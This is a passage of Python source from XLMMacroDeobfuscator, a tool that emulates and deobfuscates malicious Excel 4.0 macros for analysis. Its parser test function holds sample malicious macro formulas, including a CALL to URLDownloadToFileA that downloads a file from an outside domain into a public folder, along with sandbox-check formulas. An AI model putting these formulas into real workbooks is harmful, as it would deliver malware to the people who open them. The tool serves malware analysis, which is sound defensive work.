src_eval_res.status == EvalStatus.FullEvaluation:
status = EvalStatus.FullEvaluation
mem_data = src_eval_res.value
mem_data = bytearray([ord(x) for x in mem_data])
if not self.write_memory(int(destination_eval_res.value), mem_data, len(mem_data)):
status = EvalStatus.Error
text = 'Kernel32.RtlCopyMemory({},"{}",{})'.format(
destination_eval_res.get_text(),
mem_data.hex(),
size_res.get_text())
if status == EvalStatus.PartialEvaluation:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = 0
return EvalResult(None, status, return_val, text)
# endregion
def write_memory(self, base_address, mem_data, size):
result = True
for mem_rec in self._memory:
if mem_rec['base'] <= base_address <= mem_rec['base'] + mem_rec['size']:
if mem_rec['base'] <= base_address + size <= mem_rec['base'] + mem_rec['size']:
offset = base_address - mem_rec['base']
for i in range(0, size):
mem_rec['data'][offset + i] = mem_data[i]
else:
result = False
break
return result
def evaluate_defined_name(self, current_cell, name, interactive):
result = None
lname = name.lower()
if lname in self.defined_names:
val = self.defined_names[lname]
if isinstance(val, Tree) and val.data == 'cell':
eval_res = self.evaluate_cell(current_cell, interactive, val)
result = eval_res.value
elif isinstance(val, list):
result = val
else:
if isinstance(val, Cell):
data = val.value
else:
# example: c7e40628fb6beb52d9d73a3b3afd1dca5d2335713593b698637e1a47b42bfc71 password: 2021
data = val
try:
formula_str = str(data) if str(data).startswith('=') else '=' + str(data)
parsed_formula = self.xlm_parser.parse(formula_str)
eval_result = self.evaluate_parse_tree(current_cell, parsed_formula, interactive)
if isinstance(eval_result.value, list):
result = eval_result.value
else:
result = str(eval_result.value)
except:
result = str(data)
return result
def evaluate_parse_tree(self, current_cell, parse_tree_root, interactive=True):
next_cell = None
status = EvalStatus.NotImplemented
text = None
return_val = None
if type(parse_tree_root) is Token:
if parse_tree_root.value.lower() in self.defined_names:
# this formula has a defined name that can be changed
# current formula must be removed from cache
self._remove_current_formula_from_cache = True
parse_tree_root.value = self.evaluate_defined_name(current_cell, parse_tree_root.value, interactive)
return_val = parse_tree_root.value
status = EvalStatus.FullEvaluation
text = str(return_val)
result = EvalResult(next_cell, status, return_val, text)
elif type(parse_tree_root) is list:
return_val = text = ''
status = EvalStatus.FullEvaluation
result = EvalResult(next_cell, status, return_val, text)
elif parse_tree_root.data == 'function_call':
result = self.evaluate_function(current_cell, parse_tree_root, interactive)
elif parse_tree_root.data == 'cell':
result = self.evaluate_cell(current_cell, interactive, parse_tree_root)
elif parse_tree_root.data == 'range':
result = self.evaluate_range(current_cell, interactive, parse_tree_root)
elif parse_tree_root.data == 'array':
result = self.evaluate_array(current_cell, interactive, parse_tree_root)
elif parse_tree_root.data in self._expr_rule_names:
text_left = None
concat_status = EvalStatus.FullEvaluation
for index, child in enumerate(parse_tree_root.children):
if type(child) is Token and child.type in ['ADDITIVEOP', 'MULTIOP', 'CMPOP', 'CONCATOP']:
op_str = str(child)
right_arg = parse_tree_root.children[index + 1]
right_arg_eval_res = self.evaluate_parse_tree(current_cell, right_arg, interactive)
if isinstance(right_arg_eval_res.value, Cell):
text_right = EvalResult.unwrap_str_literal(right_arg_eval_res.value.value)
else:
text_right = right_arg_eval_res.get_text(unwrap=True)
if op_str == '&':
if left_arg_eval_res.status == EvalStatus.FullEvaluation and right_arg_eval_res.status != EvalStatus.FullEvaluation:
text_left = '{}&{}'.format(text_left, text_right)
left_arg_eval_res.status = EvalStatus.PartialEvaluation
concat_status = EvalStatus.PartialEvaluation
elif left_arg_eval_res.status != EvalStatus.FullEvaluation and right_arg_eval_res.status == EvalStatus.FullEvaluation:
text_left = '{}&{}'.format(text_left, text_right)
left_arg_eval_res.status = EvalStatus.FullEvaluation
concat_status = EvalStatus.PartialEvaluation
elif left_arg_eval_res.status != EvalStatus.FullEvaluation and right_arg_eval_res.status != EvalStatus.FullEvaluation:
text_left = '{}&{}'.format(text_left, text_right)
left_arg_eval_res.status = EvalStatus.PartialEvaluation
concat_status = EvalStatus.PartialEvaluation
else:
text_left = text_left + text_right
elif left_arg_eval_res.status == EvalStatus.FullEvaluation and right_arg_eval_res.status == EvalStatus.FullEvaluation:
status = EvalStatus.FullEvaluation
if isinstance(right_arg_eval_res.value, Cell):
value_right = right_arg_eval_res.value.value
else:
value_right = right_arg_eval_res.value
if isinstance(value_right, str):
if value_right.lower() == 'true':
value_right = 1
elif value_right.lower() == 'false':
value_right = 0
text_left = str(text_left)
text_right = str(text_right)
if text_left == '':
text_left = '0'
value_left = 0
if text_right == '':
text_right = '0'
value_right = 0
if self.is_float(value_left) and self.is_float(value_right):
if op_str in self._operators:
op_res = self._operators[op_str](float(value_left), float(value_right))
if type(op_res) == bool:
value_left = str(op_res)
elif op_res.is_integer():
value_left = str(int(op_res))
else:
op_res = round(op_res, 10)
value_left = str(op_res)
else:
value_left = 'Operator ' + op_str
left_arg_eval_res.status = EvalStatus.NotImplemented
elif EvalResult.is_datetime(text_left.strip('\"')) and EvalResult.is_datetime(text_right.strip('\"')):
timestamp1 = datetime.datetime.strptime(text_left.strip('\"'), "%Y-%m-%d %H:%M:%S.%f")
timestamp2 = datetime.datetime.strptime(text_right.strip('\"'), "%Y-%m-%d %H:%M:%S.%f")
op_res = self._operators[op_str](float(timestamp1.timestamp()),
float(timestamp2.timestamp()))
op_res += 1000
if type(op_res) == bool:
value_left = str(op_res)
elif EvalResult.is_datetime(op_res):
value_left = str(op_res)
elif op_res.is_integer():
value_left = str(op_res)
else:
op_res = round(op_res, 10)
value_left = str(op_res)
elif EvalResult.is_datetime(text_left.strip('\"')) and EvalResult.is_time(text_right.strip('\"')):
timestamp1 = datetime.datetime.strptime(text_left.strip('\"'), "%Y-%m-%d %H:%M:%S.%f")
timestamp2 = datetime.datetime.strptime(text_right.strip('\"'), "%H:%M:%S")
t1 = float(timestamp1.timestamp())
t2 = float(
int(timestamp2.hour) * 3600 + int(timestamp2.minute) * 60 + int(timestamp2.second))
op_res = datetime.datetime.fromtimestamp(self._operators[op_str](t1, t2))
if type(op_res) == bool:
value_left = str(op_res)
elif type(op_res) == datetime.datetime:
value_left = str(op_res)
elif op_res.is_integer():
value_left = str(op_res)
else:
op_res = round(op_res, 10)
value_left = str(op_res)
else:
if op_str in self._operators:
value_left = EvalResult.unwrap_str_literal(str(value_left))
value_right = EvalResult.unwrap_str_literal(str(value_right))
op_res = self._operators[op_str](value_left, value_right)
value_left = op_res
else:
value_left = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
left_arg_eval_res.status = EvalStatus.PartialEvaluation
text_left = value_left
else:
left_arg_eval_res.status = EvalStatus.PartialEvaluation
text_left = '{}{}{}'.format(text_left, op_str, text_right)
return_val = text_left
else:
if text_left is None:
left_arg = parse_tree_root.children[index]
left_arg_eval_res = self.evaluate_parse_tree(current_cell, left_arg, interactive)
text_left = left_arg_eval_res.get_text(unwrap=True)
if isinstance(left_arg_eval_res.value, Cell):
value_left = left_arg_eval_res.value.value
else:
value_left = left_arg_eval_res.value
if isinstance(value_left, str):
if value_left.lower() == 'true':
value_left = 1
elif value_left.lower() == 'false':
value_left = 0
if concat_status == EvalStatus.PartialEvaluation and left_arg_eval_res.status == EvalStatus.FullEvaluation:
left_arg_eval_res.status = concat_status
result = EvalResult(next_cell, left_arg_eval_res.status, return_val, EvalResult.wrap_str_literal(text_left))
elif parse_tree_root.data == 'final':
arg = parse_tree_root.children[1]
result = self.evaluate_parse_tree(current_cell, arg, interactive)
else:
status = EvalStatus.FullEvaluation
for child_node in parse_tree_root.children:
if child_node is not None:
child_eval_result = self.evaluate_parse_tree(current_cell, child_node, interactive)
if child_eval_result.status != EvalStatus.FullEvaluation:
status = child_eval_result.status
result = EvalResult(child_eval_result.next_cell, status, child_eval_result.value, child_eval_result.text)
result.output_level = child_eval_result.output_level
return result
def evaluate_cell(self, current_cell, interactive, parse_tree_root):
sheet_name, col, row = self.get_cell_addr(current_cell, parse_tree_root)
return_val = ''
text = ''
status = EvalStatus.PartialEvaluation
if sheet_name is not None:
cell_addr = col + str(row)
if sheet_name in self.xlm_wrapper.get_macrosheets():
sheet = self.xlm_wrapper.get_macrosheets()[sheet_name]
else:
sheet = self.xlm_wrapper.get_worksheets()[sheet_name]
if cell_addr not in sheet.cells and (sheet_name, cell_addr) in self.cell_with_unsuccessfull_set:
if interactive:
self.invoke_interpreter = True
if self.first_unknown_cell is None:
self.first_unknown_cell = cell_addr
if cell_addr in sheet.cells:
cell = sheet.cells[cell_addr]
if cell.formula is not None and cell.formula != cell.value:
try:
parse_tree = self.xlm_parser.parse(cell.formula)
eval_result = self.evaluate_parse_tree(cell, parse_tree, False)
return_val = eval_result.value
text = eval_result.get_text()
status = eval_result.status
except:
return_val = cell.formula
text = EvalResult.wrap_str_literal(cell.formula)
status = EvalStatus.FullEvaluation
elif cell.value is not None:
text = EvalResult.wrap_str_literal(cell.value, must_wrap=True)
return_val = text
status = EvalStatus.FullEvaluation
else:
text = "{}".format(cell_addr)
else:
if (sheet_name, cell_addr) in self.cell_with_unsuccessfull_set:
text = "{}".format(cell_addr)
else:
text = ''
status = EvalStatus.FullEvaluation
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def evaluate_range(self, current_cell, interactive, parse_tree_root):
status = EvalStatus.PartialEvaluation
if len(parse_tree_root.children) >= 3:
start_address = self.get_cell_addr(current_cell, parse_tree_root.children[0])
end_address = self.get_cell_addr(current_cell, parse_tree_root.children[2])
selected = None
if len(parse_tree_root.children) == 5:
selected = self.get_cell_addr(current_cell, parse_tree_root.children[4])
self.selected_range = (start_address, end_address, selected)
status = EvalStatus.FullEvaluation
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = text
return EvalResult(None, status, return_val, text)
def evaluate_array(self, current_cell, interactive, parse_tree_root):
status = EvalStatus.PartialEvaluation
array_elements = []
for index, array_elm in enumerate(parse_tree_root.children):
# skip semicolon (;)
if index % 2 == 1:
continue
if array_elm.type == 'NUMBER':
array_elements.append(float(array_elm))
else:
array_elements.append(str(array_elm))
text = str(array_elements)
return_val = array_elements
return EvalResult(None, status, return_val, text)
def interactive_shell(self, current_cell, message):
print('\nProcess Interruption:')
print('CELL:{:10}{}'.format(current_cell.get_local_address(), current_cell.formula))
print(message)
print('Enter XLM macro:')
print('Tip: CLOSE() or HALT() to exist')
while True:
line = input()
line = '=' + line.strip()
if line:
try:
parse_tree = self.xlm_parser.parse(line)
ret_result = self.evaluate_parse_tree(current_cell, parse_tree, interactive=False)
print(ret_result.value)
if ret_result.status == EvalStatus.End:
break
except ParseError as exp:
print("Invalid XLM macro")
except Exception:
sys.exit()
else:
break
def has_loop(self, path, length=10):
if len(path) < length * 2:
return False
else:
result = False
start_index = len(path) - length
for j in range(0, start_index - length):
matched = True
k = j
while start_index + k - j < len(path):
if path[k] != path[start_index + k - j]:
matched = False
break
k += 1
if matched:
result = True
break
return result
regex_string = r'\"([^\"]|\"\")*\"'
detect_string = re.compile(regex_string, flags=re.MULTILINE)
def extract_strings(self, string):
result = []
matches = XLMInterpreter.detect_string.finditer(string)
for matchNum, match in enumerate(matches, start=1):
result.append(match.string[match.start(0):match.end(0)])
return result
def deobfuscate_macro(self, interactive, start_point="", timeout=0, silent_mode=False):
result = []
self._start_timestamp = time.time()
self.auto_labels = self.xlm_wrapper.get_defined_name('auto_open', full_match=False)
self.auto_labels.extend(self.xlm_wrapper.get_defined_name('auto_close', full_match=False))
if len(self.auto_labels) == 0:
if len(start_point) > 0:
self.auto_labels = [('auto_open', start_point)]
elif interactive:
print('There is no entry point, please specify a cell address to start')
print('Example: Sheet1!A1')
self.auto_labels = [('auto_open', input().strip())]
if self.auto_labels is not None and len(self.auto_labels) > 0:
macros = self.xlm_wrapper.get_macrosheets()
continue_emulation = True
for auto_open_label in self.auto_labels:
if not continue_emulation:
break
try:
sheet_name, col, row = Cell.parse_cell_addr(auto_open_label[1])
if sheet_name in macros:
current_cell = self.get_formula_cell(macros[sheet_name], col, row)
self._branch_stack = [(current_cell, current_cell.formula, macros[sheet_name].cells, 0, '')]
observed_cells = []
while len(self._branch_stack) > 0:
if not continue_emulation:
break
current_cell, formula, saved_cells, indent_level, desc = self._branch_stack.pop()
macros[current_cell.sheet.name].cells = saved_cells
self._indent_level = indent_level
stack_record = True
while current_cell is not None:
if not continue_emulation:
break
if type(formula) is str:
replace_op = getattr(self.xlm_wrapper, "replace_nonprintable_chars", None)
if callable(replace_op):
formula = replace_op(formula, '_')
if formula not in self._formula_cache:
parse_tree = self.xlm_parser.parse(formula)
self._formula_cache[formula] = parse_tree
else:
parse_tree = self._formula_cache[formula]
else:
parse_tree = formula
if stack_record:
previous_indent = self._indent_level - 1 if self._indent_level > 0 else 0
else:
previous_indent = self._indent_level
evaluation_result = self.evaluate_parse_tree(current_cell, parse_tree, interactive)
if self._remove_current_formula_from_cache:
self._remove_current_formula_from_cache = False
if formula in self._formula_cache:
del (self._formula_cache[formula])
if len(self._while_stack) == 0 and evaluation_result.text != 'NEXT':
observed_cells.append(current_cell.get_local_address())
if self.has_loop(observed_cells):
break
if self.invoke_interpreter and interactive:
self.interactive_shell(
current_cell,
'Partial Eval: {}\r\n{} is not populated, what should be its value?'.format(
evaluation_result.text, self.first_unknown_cell))
self.invoke_interpreter = False
self.first_unknown_cell = None
continue
if evaluation_result.value is not None:
current_cell.value = str(evaluation_result.value)
if evaluation_result.next_cell is None and \
(evaluation_result.status == EvalStatus.FullEvaluation or
evaluation_result.status == EvalStatus.PartialEvaluation or
evaluation_result.status == EvalStatus.NotImplemented or
evaluation_result.status == EvalStatus.IGNORED):
evaluation_result.next_cell = self.get_formula_cell(current_cell.sheet,
current_cell.column,
str(int(current_cell.row) + 1))
if stack_record:
evaluation_result.text = (
desc + ' ' + evaluation_result.get_text(unwrap=False)).strip()
if self._indent_current_line:
previous_indent = self._indent_level
self._indent_current_line = False
if evaluation_result.status != EvalStatus.IGNORED:
if self.output_level >= 3 and evaluation_result.output_level == 2:
strings = self.extract_strings(evaluation_result.get_text(unwrap=True))
if strings:
yield (
current_cell, evaluation_result.status,
'\n'.join(strings),
previous_indent)
elif evaluation_result.output_level >= self.output_level:
yield (
current_cell, evaluation_result.status,
evaluation_result.get_text(unwrap=False),
previous_indent)
if timeout > 0 and time.time() - self._start_timestamp > timeout:
continue_emulation = False
if evaluation_result.next_cell is not None:
current_cell = evaluation_result.next_cell
else:
break
formula = current_cell.formula
stack_record = False
except Exception as exp:
exc_type, exc_obj, traceback = sys.exc_info()
frame = traceback.tb_frame
lineno = traceback.tb_lineno
filename = frame.f_code.co_filename
linecache.checkcache(filename)
line = linecache.getline(filename, lineno, frame.f_globals)
uprint('Error [{}:{} {}]: {}'.format(os.path.basename(filename),
lineno,
line.strip(),
exc_obj),
silent_mode=silent_mode)
def test_parser():
grammar_file_path = os.path.join(os.path.dirname(__file__), 'xlm-macro-en.lark')
macro_grammar = open(grammar_file_path, 'r', encoding='utf_8').read()
xlm_parser = Lark(macro_grammar, parser='lalr')
print("\n={12,13,14}")
print(xlm_parser.parse("={12;13;14}"))
print("\n=171*GET.CELL(19,A81)")
print(xlm_parser.parse("=171*GET.CELL(19,A81)"))
print("\n=FORMULA($ET$1796&$BE$1701&$DB$1527&$BU$714&$CT$1605)")
print(xlm_parser.parse("=FORMULA($ET$1796&$BE$1701&$DB$1527&$BU$714&$CT$1605)"))
print("\n=RUN($DC$240)")
print(xlm_parser.parse("=RUN($DC$240)"))
print("\n=CHAR($IE$1109-308)")
print(xlm_parser.parse("=CHAR($IE$1109-308)"))
print("\n=CALL($C$649,$FN$698,$AM$821,0,$BB$54,$BK$36,0,0)")
print(xlm_parser.parse("=CALL($C$649,$FN$698,$AM$821,0,$BB$54,$BK$36,0,0)"))
print("\n=HALT()")
print(xlm_parser.parse("=HALT()"))
print('\n=WAIT(NOW()+"00:00:03")')
print(xlm_parser.parse('=WAIT(NOW()+"00:00:03")'))
print("\n=IF(GET.WORKSPACE(19),,CLOSE(TRUE))")
print(xlm_parser.parse("=IF(GET.WORKSPACE(19),,CLOSE(TRUE))"))
print(r'\n=OPEN(GET.WORKSPACE(48)&"\WZTEMPLT.XLA")')
print(xlm_parser.parse(r'=OPEN(GET.WORKSPACE(48)&"\WZTEMPLT.XLA")'))
print(
"""\n=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\\Users\\Public\\bwep5ef.html",0,0),)""")
print(xlm_parser.parse(
"""=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\\Users\\Public\\bwep5ef.html",0,0),)"""))
_thismodule_dir = os.path.normpath(os.path.abspath(os.path.dirname(__file__)))
_parent_dir = os.path.normpath(os.path.join(_thismodule_dir, '..'))
if _parent_dir not in sys.path:
sys.path.insert(0, _parent_dir)
def get_file_type(path):
file_type = None
with open(path, 'rb') as input_file:
start_marker = input_file.read(2)
if start_marker == b'\xD0\xCF':
file_type = 'xls'
elif start_marker == b'\x50\x4B':
file_type = 'xlsm/b'
if file_type == 'xlsm/b':
raw_bytes = open(path, 'rb').read()
if bytes('workbook.bin', 'ascii') in raw_bytes:
file_type = 'xlsb'
else:
file_type = 'xlsm'
return file_type
def show_cells(excel_doc, sorted_formulas=False):
macrosheets = excel_doc.get_macrosheets()
for macrosheet_name in macrosheets:
# yield 'SHEET: {}, {}'.format(macrosheets[macrosheet_name].name,
# macrosheets[macrosheet_name].type)
yield macrosheets[macrosheet_name].name, macrosheets[macrosheet_name].type
if sorted_formulas:
tmp_formulas = []
for formula_loc, info in macrosheets[macrosheet_name].cells.items():
if info.formula is not None:
tmp_formulas.append((info, 'EXTRACTED', info.formula, '', info.value))
tmp_formulas = sorted(tmp_formulas, key=lambda x:(x[0].column,
int(x[0].row) if EvalResult.is_int(x[0].row) else x[0].row))
for formula in tmp_formulas:
yield formula
else:
for formula_loc, info in macrosheets[macrosheet_name].cells.items():
if info.formula is not None:
yield info, 'EXTRACTED', info.formula, '', info.value
# yield 'CELL:{:10}, {:20}, {}'.format(formula_loc, info.formula, info.value)
for formula_loc, info in macrosheets[macrosheet_name].cells.items():
if info.formula is None:
# yield 'CELL:{:10}, {:20}, {}'.format(formula_loc, str(info.formula), info.value)
yield info, 'EXTRACTED', str(info.formula), '', info.value,
def uprint(*objects, sep=' ', end='\n', file=sys.stdout, silent_mode=False):
if silent_mode:
return
enc = file.encoding
if enc == 'UTF-8':
print(*objects, sep=sep, end=end, file=file)
else:
def f(obj): return str(obj).encode(enc, errors='backslashreplace').decode(enc)
print(*map(f, objects), sep=sep, end=end, file=file)
def get_formula_output(interpretation_result, format_str, with_index=True):
cell_addr = interpretation_result[0].get_local_address()
status = interpretation_result[1]
formula = interpretation_result[2]
indent = ''.join(['\t'] * interpretation_result[3])
result = ''
if format_str is not None and type(format_str) is str:
result = format_str
result = result.replace('[[CELL-ADDR]]', '{:10}'.format(cell_addr))
result = result.replace('[[STATUS]]', '{:20}'.format(status.name))
if with_index:
formula = indent + formula
result = result.replace('[[INT-FORMULA]]', formula)
return result
def convert_to_json_str(file, defined_names, records, memory=None, files=None):
file_content = open(file, 'rb').read()
md5 = hashlib.md5(file_content).hexdigest()
sha256 = hashlib.sha256(file_content).hexdigest()
if defined_names:
for key, val in defined_names.items():
if isinstance(val, Tree):
defined_names[key] = XLMInterpreter.convert_ptree_to_str(val)
elif isinstance(val, Cell):
defined_names[key] = str(val)
res = {'file_path': file, 'md5_hash': md5, 'sha256_hash': sha256, 'analysis_timestamp': int(time.time()),
'format_version': 1, 'analyzed_by': 'XLMMacroDeobfuscator',
'link': 'https://github.com/DissectMalware/XLMMacroDeobfuscator', 'defined_names': defined_names,
'records': [], 'memory_records': [], 'files': []}
for index, i in enumerate(records):
if len(i) == 4:
res['records'].append({'index': index,
'sheet': i[0].sheet.name,
'cell_add': i[0].get_local_address(),
'status': str(i[1]),
'formula': i[2]})
elif len(i) == 5:
res['records'].append({'index': index,
'sheet': i[0].sheet.name,
'cell_add': i[0].get_local_address(),
'status': str(i[1]),
'formula': i[2],
'value': str(i[4])})
if memory:
for mem_rec in memory:
res['memory_records'].append({
'base': mem_rec['base'],
'size': mem_rec['size'],
'data_base64': bytearray(mem_rec['data']).hex()
})
if files:
for file in files:
if len(files[file]['file_content']) > 0:
bytes_str = files[file]['file_content'].encode('utf_8')
base64_str = base64.b64encode(bytes_str).decode()
res['files'].append({
'path': file,
'access': files[file]['file_access'],
'content_base64': base64_str
})
return res
def try_decrypt(file, password=''):
is_encrypted = False
tmp_file_path = None
try:
msoffcrypto_obj = msoffcrypto.OfficeFile(open(file, "rb"))
if msoffcrypto_obj.is_encrypted():
is_encrypted = True
temp_file_args = {'prefix': 'decrypt-', 'suffix': os.path.splitext(file)[1], 'text': False}
tmp_file_handle = None
try:
msoffcrypto_obj.load_key(password=password)
tmp_file_handle, tmp_file_path = mkstemp(**temp_file_args)
with os.fdopen(tmp_file_handle, 'wb') as tmp_file:
msoffcrypto_obj.decrypt(tmp_file)
except:
if tmp_file_handle:
tmp_file_handle.close()
os.remove(tmp_file_path)
tmp_file_path = None
except Exception as exp:
uprint(str(exp), silent_mode=SILENT)
return tmp_file_path, is_encrypted
def get_logo():
return """
_ _______
|\ /|( \ ( )
( \ / )| ( | () () |
\ (_) / | | | || || |
) _ ( | | | |(_)| |
/ ( ) \ | | | | | |
( / \ )| (____/\| ) ( |
|/ \|(_______/|/ \|
______ _______ _______ ______ _______ _______ _______ _______ _________ _______ _______
( __ \ ( ____ \( ___ )( ___ \ ( ____ \|\ /|( ____ \( ____ \( ___ )\__ __/( ___ )( ____ )
| ( \ )| ( \/| ( ) || ( ) )| ( \/| ) ( || ( \/| ( \/| ( ) | ) ( | ( ) || ( )|
| | ) || (__ | | | || (__/ / | (__ | | | || (_____ | | | (___) | | | | | | || (____)|
| | | || __) | | | || __ ( | __) | | | |(_____ )| | | ___ | | | | | | || __)
| | ) || ( | | | || ( \ \ | ( | | | | ) || | | ( ) | | | | | | || (\ (
| (__/ )| (____/\| (___) || )___) )| ) | (___) |/\____) || (____/\| ) ( | | | | (___) || ) \ \__
(______/ (_______/(_______)|/ \___/ |/ (_______)\_______)(_______/|/ \| )_( (_______)|/ \__/
"""
def process_file(**kwargs):
""" Example of kwargs when using as library
{
'file': '/tmp/8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf',
'noninteractive': True,
'extract_only': False,
'with_ms_excel': False,
'start_with_shell': False,
'return_deobfuscated': True,
'day': 0,
'output_formula_format': 'CELL:[[CELL-ADDR]], [[STATUS]], [[INT-FORMULA]]',
'start_point': '',
'timeout': 30
}
"""
global SILENT
if kwargs.get("silent"):
SILENT = kwargs.get("silent")
deobfuscated = list()
interpreted_lines = list()
file_path = os.path.abspath(kwargs.get('file'))
file_type = get_file_type(file_path)
password = kwargs.get('password', 'VelvetSweatshop')
uprint('File: {}\n'.format(file_path), silent_mode=SILENT)
if file_type is None:
raise Exception('Input file type is not supported.')
decrypted_file_path = is_encrypted = None
decrypted_file_path, is_encrypted = try_decrypt(file_path, password)
if is_encrypted:
uprint('Encrypted {} file'.format(file_type), silent_mode=SILENT)
if decrypted_file_path is None:
raise Exception(
'Failed to decrypt {}\nUse --password switch to provide the correct password'.format(file_path))
file_path = decrypted_file_path
else:
uprint('Unencrypted {} file\n'.format(file_type), silent_mode=SILENT)
try:
start = time.time()
excel_doc = None
uprint('[Loading Cells]', silent_mode=SILENT)
if file_type == 'xls':
if kwargs.get("no_ms_excel", False):
print('--with-ms-excel switch is now deprecated (by default, MS-Excel is not used)\n'
'If you want to use MS-Excel, use --with-ms-excel')
if not kwargs.get("with_ms_excel", False):
excel_doc = XLSWrapper2(file_path) if not SILENT else XLSWrapper2(file_path, logfile=None)
else:
try:
excel_doc = XLSWrapper(file_path)
except Exception as exp:
print("Error: MS Excel is not installed, now xlrd2 library will be used insteads\n" +
"(Use --no-ms-excel switch if you do not have/want to use MS Excel)")
excel_doc = XLSWrapper2(file_path)
elif file_type == 'xlsm':
excel_doc = XLSMWrapper(file_path)
elif file_type == 'xlsb':
excel_doc = XLSBWrapper(file_path)
if excel_doc is None:
raise Exception('Input file type is not supported.')
auto_open_labels = excel_doc.get_defined_name('auto_open', full_match=False)
for label in auto_open_labels:
uprint('auto_open: {}->{}'.format(label[0], label[1]), silent_mode=SILENT)
auto_close_labels = excel_doc.get_defined_name('auto_close', full_match=False)
for label in auto_close_labels:
uprint('auto_close: {}->{}'.format(label[0], label[1]), silent_mode=SILENT)
if kwargs.get("defined_names"):
uprint("[Defined Names]", silent_mode=SILENT)
defined_names = excel_doc.get_defined_names()
for name in defined_names:
if not kwargs.get("return_deobfuscated"):
uprint("{} --> {}".format(name, defined_names[name]), silent_mode=SILENT)
if kwargs.get("extract_only"):
sorted = False
if kwargs.get("sort_formulas"):
sorted = True
if kwargs.get("export_json"):
records = []
for i in show_cells(excel_doc, sorted):
if len(i) == 5:
records.append(i)
uprint('[Dumping to Json]', silent_mode=SILENT)
res = convert_to_json_str(file_path, excel_doc.get_defined_names(), records)
try:
output_file_path = kwargs.get("export_json")
with open(output_file_path, 'w', encoding='utf_8') as output_file:
output_file.write(json.dumps(res, indent=4))
uprint('Result is dumped into {}'.format(output_file_path), silent_mode=SILENT)
except Exception as exp:
print('Error: unable to dump the result into the specified file\n{}'.format(str(exp)))
uprint('[End of Dumping]', silent_mode=SILENT)
if not kwargs.get("return_deobfuscated"):
return res
else:
res = []
output_format = kwargs.get("extract_formula_format", 'CELL:[[CELL-ADDR]], [[CELL-FORMULA]], [[CELL-VALUE]]')
for i in show_cells(excel_doc, sorted):
rec_str = ''
if len(i) == 2:
rec_str = 'SHEET: {}, {}'.format(i[0], i[1])
elif len(i) == 5:
if output_format is not None:
rec_str = output_format
rec_str = rec_str.replace('[[CELL-ADDR]]', i[0].get_local_address())
rec_str = rec_str.replace('[[CELL-FORMULA]]', i[2])
rec_str = rec_str.replace('[[CELL-VALUE]]', str(i[4]))
else:
rec_str = 'CELL:{:10}, {:20}, {}'.format(i[0].get_local_address(), i[2], i[4])
if rec_str:
if not kwargs.get("return_deobfuscated"):
uprint(rec_str, silent_mode=SILENT)
res.append(rec_str)
if kwargs.get("return_deobfuscated"):
return res
else:
uprint('[Starting Deobfuscation]', silent_mode=SILENT)
interpreter = XLMInterpreter(excel_doc, output_level=kwargs.get("output_level", 0))
if kwargs.get("day", 0) > 0:
interpreter.day_of_month = kwargs.get("day")
interactive = not kwargs.get("noninteractive")
if kwargs.get("start_with_shell"):
starting_points = interpreter.xlm_wrapper.get_defined_name('auto_open', full_match=False)
if len(starting_points) == 0:
if len(kwargs.get("start_point")) > 0:
starting_points = [('auto_open', kwargs.get("start_point"))]
elif interactive:
print('There is no entry point, please specify a cell address to start')
print('Example: Sheet1!A1')
auto_open_labels = [('auto_open', input().strip())]
sheet_name, col, row = Cell.parse_cell_addr(starting_points[0][1])
macros = interpreter.xlm_wrapper.get_macrosheets()
if sheet_name in macros:
current_cell = interpreter.get_formula_cell(macros[sheet_name], col, row)
interpreter.interactive_shell(current_cell, "")
output_format = kwargs.get("output_formula_format", 'CELL:[[CELL-ADDR]], [[STATUS]], [[INT-FORMULA]]')
start_point = kwargs.get("start_point", '')
timeout = 0
if kwargs.get("timeout"):
timeout = kwargs.get("timeout")
for step in interpreter.deobfuscate_macro(interactive, start_point, timeout=timeout, silent_mode=SILENT):
if kwargs.get("return_deobfuscated"):
deobfuscated.append(
get_formula_output(step, output_format, not kwargs.get("no_indent")))
elif kwargs.get("export_json"):
interpreted_lines.append(step)
else:
uprint(get_formula_output(step, output_format, not kwargs.get("no_indent")), silent_mode=SILENT)
if interpreter.day_of_month is not None:
uprint('[Day of Month] {}'.format(interpreter.day_of_month), silent_mode=SILENT)
if not kwargs.get("export_json") and not kwargs.get("return_deobfuscated"):
for mem_record in interpreter._memory:
uprint('Memory: base {}, size {}\n{}\n'.format(mem_record['base'],
mem_record['size'],
bytearray(mem_record['data']).hex()),
silent_mode=SILENT)
uprint('\nFiles:\n')
for file in interpreter._files:
if len(interpreter._files[file]['file_content']) > 0:
uprint('Files: path {}, access {}\n{}\n'.format(file,
interpreter._files[file]['file_access'],
interpreter._files[file]['file_content']),
silent_mode=SILENT)
uprint('[END of Deobfuscation]', silent_mode=SILENT)
if kwargs.get("export_json"):
uprint('[Dumping Json]', silent_mode=SILENT)
res = convert_to_json_str(file_path, excel_doc.get_defined_names(), interpreted_lines,
interpreter._memory, interpreter._files)
try:
output_file_path = kwargs.get("export_json")
with open(output_file_path, 'w', encoding='utf_8') as output_file:
output_file.write(json.dumps(res, indent=4))
uprint('Result is dumped into {}'.format(output_file_path), silent_mode=SILENT)
except Exception as exp:
print('Error: unable to dump the result into the specified file\n{}'.format(str(exp)))
uprint('[End of Dumping]', silent_mode=SILENT)
if kwargs.get("return_deobfuscated"):
return res
uprint('time elapsed: ' + str(time.time() - start), silent_mode=SILENT)
finally:
if HAS_XLSWrapper and type(excel_doc) is XLSWrapper:
excel_doc._excel.Application.DisplayAlerts = False
excel_doc._excel.Application.Quit()
if kwargs.get("return_deobfuscated"):
return deobfuscated
def main():
print(get_logo())
print('XLMMacroDeobfuscator(v{}) - {}\n'.format(__version__,
"https://github.com/DissectMalware/XLMMacroDeobfuscator"))
config_parser = argparse.ArgumentParser(add_help=False)
config_parser.add_argument("-c", "--config-file",
help="Specify a config file (must be a valid JSON file)", metavar="FILE_PATH")
args, remaining_argv = config_parser.parse_known_args()
defaults = {}
if args.config_file:
try:
with open(args.config_file, 'r', encoding='utf_8') as config_file:
defaults = json.load(config_file)
